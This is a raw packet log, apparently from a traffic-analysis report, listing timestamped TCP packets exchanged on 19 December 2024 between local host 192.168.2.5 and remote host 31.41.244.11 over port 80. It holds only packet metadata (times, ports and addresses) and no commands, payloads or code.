Dec 19, 2024 03:09:22.867237091 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.867274046 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.867326975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.872164965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.872200012 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.872354984 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.876091003 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.876271963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.876367092 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.876456022 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.880726099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.880793095 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.880835056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.880891085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.885139942 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.885204077 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.885287046 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.885340929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.889700890 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.889767885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.889833927 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.889893055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.893955946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.894037008 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.894212008 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.894300938 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.898567915 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.898636103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.898735046 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.898792982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.903032064 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.903086901 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.903134108 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.903201103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.993119001 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.993181944 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.993228912 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.993272066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.994934082 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.994992971 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.994998932 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.995050907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.998585939 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.998651981 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.998754025 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.998862982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.002154112 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.002213955 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.002218008 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.002266884 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.005824089 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.005877972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.005880117 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.005932093 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.009291887 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.009347916 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.009356976 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.009403944 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.012722969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.012739897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.012782097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.012809992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.015954018 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.016078949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.016145945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.019367933 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.019383907 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.019488096 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.022581100 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.022595882 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.022645950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.022680998 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.025717020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.025732040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.025794029 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.028806925 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.028822899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.028897047 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.031862020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.032083035 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.032181025 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.034877062 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.034893036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.034955978 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.037770033 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.037981033 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.038047075 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.040817022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.041044950 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.041110992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.043971062 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.043987036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.044068098 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.046927929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.046945095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.047000885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.049945116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.050766945 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.050780058 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.050815105 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.052912951 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.052942038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.052995920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.053029060 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.055855036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.056013107 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.056108952 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.058954000 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.059016943 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.059109926 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.059205055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.061902046 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.061971903 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.062026978 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.064915895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.064984083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.064992905 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.065042973 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.067980051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.068003893 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.068038940 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.068062067 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.071012974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.071028948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.071075916 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.071100950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.074023962 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.074038982 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.074078083 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.074103117 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.077033043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.077048063 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.077111959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.079932928 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.080161095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.080218077 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.083072901 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.083146095 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.083198071 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.083257914 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.086009979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.086112976 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.086172104 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.088963032 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.089059114 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.089066029 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.089123011 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.092080116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.092180014 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.092236042 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.095112085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.095127106 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.095176935 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.095202923 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.098052979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.098124027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.098172903 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.101207972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.101227045 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.101286888 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.101306915 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.104067087 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.104274035 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.104331970 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.107239962 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.107347965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.107404947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.110115051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.110330105 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.110416889 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.110476017 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.185499907 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.185543060 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.185574055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.185642004 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.186489105 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.186580896 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.186594963 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.186651945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.188869953 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.188946009 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.188970089 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.189109087 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.191183090 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.191246986 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.191391945 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.193007946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.193612099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.193711042 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.193753958 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.193813086 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.195949078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.196016073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.196058035 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.196121931 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.198292971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.198348045 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.198360920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.198405027 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.200516939 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.200575113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.200608015 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.200670958 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.202735901 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.202951908 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.203015089 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.204871893 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.205070972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.205156088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.207117081 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.207134008 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.207201958 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.209167957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.209235907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.209316969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.209382057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.211366892 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.211570978 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.211638927 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.213375092 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.213445902 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.213500023 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.213563919 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.215532064 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.215549946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.215621948 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.217525959 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.217552900 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.217607975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.219515085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.219573975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.219624043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.220026970 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.221471071 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.221648932 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.221700907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.223472118 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.223643064 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.223696947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.225502968 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.225577116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.225598097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.225662947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.227380991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.227540016 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.227617025 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.229365110 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.229446888 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.229454994 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.229511023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.231270075 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.231378078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.231446981 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.233242989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.233278036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.233331919 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.233361006 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.235045910 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.235121012 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.235191107 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.236933947 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.237061024 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.237097979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.237150908 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.238806963 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.238873005 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.238936901 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.240670919 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.240725994 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.240771055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.240823030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.242508888 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.242579937 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.242672920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.242928982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.244348049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.244559050 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.244574070 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.244612932 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.246237040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.246294022 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.246350050 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.246402025 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.248148918 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.248317957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.248398066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.250030041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.250083923 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.250129938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.250183105 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.251955032 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.251991034 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.252034903 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.252075911 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.253716946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.253782034 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.253843069 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.253899097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.255736113 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.255774021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.255791903 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.255827904 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.257473946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.257613897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.257621050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.257710934 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.259376049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.259454012 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.259480953 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.259536982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.261174917 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.261246920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.261657953 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.261709929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.263098001 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.263150930 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.263159990 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.263209105 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.264972925 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.265032053 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.265095949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.265158892 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.266863108 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.266925097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.266958952 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.267180920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.268675089 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.268801928 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.268850088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.268851042 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.270581007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.270642996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.270701885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.270837069 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.272474051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.272603989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.272665977 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.274288893 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.274343014 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.274394989 CET	80	49862	31.41.244.11	192.168.2.5
